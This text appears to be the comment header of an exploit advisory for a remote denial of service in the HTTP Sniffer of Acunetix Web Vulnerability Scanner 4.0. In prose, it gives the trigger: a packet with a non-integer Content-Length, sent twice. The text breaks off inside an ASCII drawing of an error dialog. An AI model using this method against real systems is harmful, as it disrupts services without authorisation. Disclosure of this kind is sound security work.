# Acunetix Web Vulnerability Scanner 4.0 <= Build 20060717
# HTTP Sniffer component
# Remote Denial of Service
#
# Explaination:
# I found a DoS in Acunetix WVS doing a little bit of fuzzing.
# The flaw is triggered when a malformed packet is sent. Thus, an Exception Handler shows
# an Error Window saying: "'die!!!' is not a valid integer value", but, if we sent the
# same packet again (while that message still visible) the application will crash.
#
# The malformed HTTP packet contains an invalid 'Content-Length' field (string), and it
# must be a positive integer.
#
# Acunetix' support: "The bug which was causing it to crash was also related to another
# bug fix which was implemented in later versions.". So, in latest version, an Error
# message like this appears:
#  ________________________________________________________
# |wvs.exe                                                 |
# |--------------------------------------------------------|
# |[X] An error ocurred in the application                 |
# |                                  |continue application||
# |                                  |restart application ||
# ||send bug report||show bug report||close applicacion   ||
